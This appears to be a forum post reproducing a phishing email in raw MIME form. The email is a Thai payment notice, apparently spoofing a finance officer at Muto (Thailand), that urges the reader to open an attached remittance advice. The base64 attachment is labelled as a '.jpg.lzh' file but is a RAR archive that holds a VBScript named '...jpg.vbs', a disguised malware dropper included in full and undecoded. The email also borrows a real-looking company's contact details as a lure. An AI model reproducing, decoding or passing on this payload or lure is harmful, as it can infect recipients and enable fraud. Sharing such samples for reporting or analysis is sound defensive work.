Ms.Supaporn Boripun <supaporn_bo@muto-th.com> wrote:2026-7-8 07:50
Email subject: RE: การชำระเงิน_PO_07.08.2026
Reply-to: Ms.Supaporn Boripun <supaporn_bo@muto-th.com>
เรียนท่าน
โปรดดูหลักฐานการชำระเงินที่เราส่งมาให้ในไฟล์แนบ
ขอบคุณค่ะ
BEST REGARDS,
Ms.Supaporn Boripun (Noey)
Financial Dept.
MUTO (THAILAND) CO.,LTD.
No. 68 Soi 6, Moo 4
Tambon Bua Loi, Amphoe Nong Khae,
Saraburi 18140
[☎️] TEL : +66 (0)36-374520-4
[tel:+66(0)36-374520-4] Ext.304
[📞] MOBILE : 098-535-3183
[✉️] E-MAIL : supaporn_bo@muto-th.com
Code: Select all
Return-Path: <supaporn_bo@muto-th.com>
X-Original-To: webmaster@webseodesigners.com
Delivered-To: x24776540@pdx1-sub0-mail-mx210.dreamhost.com
Received: from [64.89.160.207] (unknown [64.89.160.207])
(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
(No client certificate requested)
by pdx1-sub0-mail-mx210.dreamhost.com (Postfix) with ESMTPS id 4gw9HY5WcTz97Cw
for <webmaster@webseodesigners.com>; Wed, 8 Jul 2026 00:50:17 -0700 (PDT)
From: Ms.Supaporn Boripun (Noey) <supaporn_bo@muto-th.com>
To: webmaster@webseodesigners.com
Subject: =?UTF-8?B?UkU6IOC4geC4suC4o+C4iuC4s+C4o+C4sOC5gOC4h+C4tOC4mV9QT18wNy4wOC4yMDI2?=
Date: 8 Jul 2026 08:50:14 +0100
Message-ID: <20260708085014.B7464C545A927D8B@muto-th.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_D32E3280.0EA6CA66"
This is a multi-part message in MIME format.
------=_NextPart_000_0012_D32E3280.0EA6CA66
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML>
<html><head><title></title>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body style=3D"margin: 0.4em;"><p><font color=3D"#222222" face=3D"Arial" si=
ze=3D"4">เรียนท่าน</f=
ont></p>
<div style=3D"text-transform: none; text-indent: 0px; letter-spacing: norma=
l; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: no=
rmal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-var=
iant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-widt=
h: 0px; text-decoration-thickness: initial; text-decoration-style: initial;=
text-decoration-color: initial;"><br></div>
<div style=3D"text-transform: none; text-indent: 0px; letter-spacing: norma=
l; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: no=
rmal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-var=
iant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-widt=
h: 0px; text-decoration-thickness: initial; text-decoration-style: initial;=
text-decoration-color: initial;"><font size=3D"4">
โปรดดูหลั=
กฐานการชำรū=
2;เงินที่<wbr>เรū=
4;ส่งมาให้ใน=
652;ฟล์แนบ</font></div>
<div style=3D"color: rgb(34, 34, 34); text-transform: none; text-indent: 0p=
x; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-=
size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white=
-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255)=
; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-s=
troke-width: 0px; text-decoration-thickness: initial; text-decoration-style=
: initial; text-decoration-color: initial;">
<font size=3D"4"><br></font></div>
<div style=3D"color: rgb(34, 34, 34); text-transform: none; text-indent: 0p=
x; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-=
size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white=
-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255)=
; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-s=
troke-width: 0px; text-decoration-thickness: initial; text-decoration-style=
: initial; text-decoration-color: initial;">
<p class=3D"MsoNormal" style=3D"margin: 0px;"><span lang=3D"TH" style=3D"fo=
nt-family: AngsanaUPC, serif;"><font size=3D"4">ขอบค=
;ุณค่ะ<br></font></span></p></div>
<div style=3D"color: rgb(34, 34, 34); text-transform: none; text-indent: 0p=
x; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-=
size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white=
-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255)=
; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-s=
troke-width: 0px; text-decoration-thickness: initial; text-decoration-style=
: initial; text-decoration-color: initial;"><br>
</div><div style=3D"color: rgb(34, 34, 34); text-transform: none; text-inde=
nt: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif;=
font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px;=
white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255=
, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-=
text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration=
-style: initial; text-decoration-color: initial;">
<p class=3D"MsoNormal" style=3D"margin: 0px;"><b><u><span style=3D"font-fam=
ily: DilleniaUPC, serif; font-size: 14pt;">Best regards</span></u></b><b><s=
pan style=3D"font-family: DilleniaUPC, serif; font-size: 14pt;">,</span></b=
><span style=3D"font-family: DilleniaUPC, serif; font-size: 14pt;"><u></u><=
u></u></span></p><p class=3D"MsoNormal" style=3D"margin: 0px;"><span style=
=3D"font-family: DilleniaUPC, serif; font-size: 14pt;">Ms.Supaporn Boripun&=
nbsp; (Noey)<u></u><u></u></span></p>
<p class=3D"MsoNormal" style=3D"margin: 0px;"><span style=3D"font-family: D=
illeniaUPC, serif; font-size: 14pt;">Financial Dept.<u></u><u></u></span></=
p><p class=3D"MsoNormal" style=3D"margin: 0px;"><span style=3D"font-family:=
DilleniaUPC, serif;"><u></u> <u></u></span></p><p class=3D"MsoNormal"=
style=3D"margin: 0px;"><span style=3D'font-family: "Times New Roman", seri=
f;'> </span><b><span style=3D'color: rgb=
(31, 73, 125); font-family: "Courier New"; font-size: 10pt;'></span>
</b><span style=3D'font-family: "Times New Roman", serif;'><u></u><u></u></=
span></p><p class=3D"MsoNormal" style=3D"margin: 0px;"><b><span style=3D"fo=
nt-family: DilleniaUPC, serif; font-size: 14pt;">Muto (Thailand) Co.,Ltd</s=
pan></b><span style=3D"font-family: DilleniaUPC, serif; font-size: 14pt;">.=
<u></u><u></u></span></p><p class=3D"MsoNormal" style=3D"margin: 0px; line-=
height: 13pt;"><span style=3D"font-family: DilleniaUPC, serif; font-size: 1=
4pt;">No. <span lang=3D"TH">68 </span>
Soi <span lang=3D"TH">6</span>, Moo <span lang=3D"TH">4</span><u>=
</u><u></u></span></p><p class=3D"MsoNormal" style=3D"margin: 0px; line-hei=
ght: 13pt;"><span style=3D"font-family: DilleniaUPC, serif; font-size: 14pt=
;">Tambon Bua Loi, Amphoe Nong Khae,<u></u><u></u></span></p><p class=3D"Ms=
oNormal" style=3D"margin: 0px 0px 6pt; line-height: 13pt;"><span style=3D"f=
ont-family: DilleniaUPC, serif; font-size: 14pt;">Saraburi 18140<u></u><u><=
/u></span></p>
<p class=3D"MsoNormal" style=3D"margin: 0px; line-height: 14pt;"><span styl=
e=3D'font-family: "Segoe UI Emoji", sans-serif; font-size: 11pt;'><img clas=
s=3D"an1" style=3D"width: 1.2em; height: 1.2em; vertical-align: middle;" dr=
aggable=3D"false" aria-label=3D"☎️" alt=3D"☎️" sr=
c=3D"https://fonts.gstatic.com/s/e/notoemoji/17.0/260e_fe0f/72.png" loading=
=3D"lazy" data-emoji=3D"☎️" width=3D"72" height=3D"72"></span>=
<span style=3D'font-family: "Segoe UI Symbol", sans-serif; font-size: 14pt;=
'> </span><b>
<span style=3D"font-family: DilleniaUPC, serif; font-size: 14pt;"><a style=
=3D"color: rgb(17, 85, 204);" href=3D"tel:+66(0)36-374520-4" target=3D"_bla=
nk"><span style=3D"color: windowtext; text-decoration: none;">Tel </sp=
an><span style=3D"color: windowtext; font-weight: normal; text-decoration: =
none;">: <span lang=3D"TH"> </span>+66<sp=
an lang=3D"TH"> (0)</span>36-<wbr>374520-4</span></a></span></b><span =
style=3D"font-family: DilleniaUPC, serif; font-size: 14pt;">
Ext.304<span lang=3D"TH"> </span><u></u><u></u></span></p=
><p class=3D"MsoNormal" style=3D"margin: 0px; line-height: 14pt;"><b><span =
style=3D'font-family: "Segoe UI Emoji", sans-serif; font-size: 10pt;'><img =
class=3D"an1" style=3D"width: 1.2em; height: 1.2em; vertical-align: middle;=
" draggable=3D"false" aria-label=3D"📞" alt=3D"📞" src=3D"htt=
ps://fonts.gstatic.com/s/e/notoemoji/17.0/1f4de/72.png" loading=3D"lazy" da=
ta-emoji=3D"📞" width=3D"72" height=3D"72"></span></b><b>
<span style=3D'font-family: "Segoe UI Emoji", sans-serif; font-size: 14pt;'=
> </span></b><b><span style=3D"font-family: DilleniaUPC, serif; font-s=
ize: 14pt;">Mobile<span lang=3D"TH"> </span></span></b><span style=3D"=
font-family: DilleniaUPC, serif; font-size: 14pt;">: <span lang=3D"TH"=
> </span>098-535<span lang=3D"TH">-</span>3183</span><span style=3D"fo=
nt-family: DilleniaUPC, serif; font-size: 14pt;"><u></u><u></u></span></p><=
p class=3D"MsoNormal" style=3D"margin: 0px; line-height: 14pt;"><b>
<span style=3D'font-family: "Segoe UI Emoji", sans-serif; font-size: 11pt;'=
><img class=3D"an1" style=3D"width: 1.2em; height: 1.2em; vertical-align: m=
iddle;" draggable=3D"false" aria-label=3D"✉️" alt=3D"✉&#=
65039;" src=3D"https://fonts.gstatic.com/s/e/notoemoji/17.0/2709_fe0f/72.pn=
g" loading=3D"lazy" data-emoji=3D"✉️" width=3D"72" height=3D"7=
2"></span></b><b><span lang=3D"TH" style=3D'font-family: "Cordia New", sans=
-serif; font-size: 14pt;'> </span></b><b>
<span style=3D"font-family: DilleniaUPC, serif; font-size: 14pt;">E-mail</s=
pan></b><span style=3D"font-family: DilleniaUPC, serif; font-size: 14pt;">&=
nbsp;: <span lang=3D"TH"> </span><u><span style=3D"color: rgb(5, =
99, 193);"><a style=3D"color: rgb(17, 85, 204);" target=3D"_blank"><span st=
yle=3D"color: rgb(5, 99, 193);">supaporn_bo@muto-<wbr>th.com</span></a></sp=
an></u></span></p></div></body></html>
------=_NextPart_000_0012_D32E3280.0EA6CA66
Content-Type: application/octet-stream; name="Remittance advice _ PO_07.08.2026.jpg.lzh"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Remittance advice _ PO_07.08.2026.jpg.lzh"
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
kP33fz5cx9o5OB13VlEDBQQA
------=_NextPart_000_0012_D32E3280.0EA6CA66--
